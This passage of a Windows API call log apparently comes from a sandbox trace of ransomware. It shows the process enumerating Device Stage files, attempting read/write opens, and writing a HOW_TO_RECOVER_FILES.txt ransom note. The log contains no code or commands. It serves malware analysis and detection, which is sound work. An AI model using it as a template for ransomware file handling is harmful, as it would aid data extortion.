Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0094.155] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0094.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.160] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0094.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0094.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0094.161] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0094.161] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.162] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.162] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0094.163] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0094.163] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0094.163] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0094.163] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0094.163] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0094.163] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0094.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0094.164] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0094.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0094.164] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), fInfoLevelId=0x0, lpFileInformation=0x35dbed8 | out: lpFileInformation=0x35dbed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1)) returned 1 [0094.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0094.167] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0094.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0094.167] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0094.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0094.171] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0094.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0094.171] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), fInfoLevelId=0x0, lpFileInformation=0x35dea08 | out: lpFileInformation=0x35dea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61)) returned 1 [0094.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0094.172] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0094.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0094.172] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.172] GetFileType (hFile=0x768) returned 0x1 [0094.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0094.172] GetFileType (hFile=0x768) returned 0x1 [0094.172] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0xb61 [0094.172] ReadFile (in: hFile=0x768, lpBuffer=0x35df888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x35df888*, lpNumberOfBytesRead=0x1f9ed1d8*=0xb61, lpOverlapped=0x0) returned 1 [0094.280] CloseHandle (hObject=0x768) returned 1 [0094.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0094.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0094.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0095.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9af0) returned 1 [0095.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0095.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0095.001] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), fInfoLevelId=0x0, lpFileInformation=0x34f2310 | out: lpFileInformation=0x34f2310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8)) returned 1 [0095.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0095.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0095.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0095.382] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0095.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0095.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0095.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0095.384] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), fInfoLevelId=0x0, lpFileInformation=0x3537568 | out: lpFileInformation=0x3537568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1)) returned 1 [0095.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0095.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0095.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0095.386] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0095.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0095.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0095.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0095.388] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), fInfoLevelId=0x0, lpFileInformation=0x3537de8 | out: lpFileInformation=0x3537de8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3)) returned 1 [0095.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0095.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0095.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0095.390] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0095.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0095.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0095.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0095.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7cc [0095.392] GetFileType (hFile=0x7cc) returned 0x1 [0095.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0095.392] GetFileType (hFile=0x7cc) returned 0x1 [0095.393] WriteFile (in: hFile=0x7cc, lpBuffer=0x353aae0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x353aae0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0095.394] CloseHandle (hObject=0x7cc) returned 1 [0095.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0095.394] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0095.394] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.395] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.395] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, 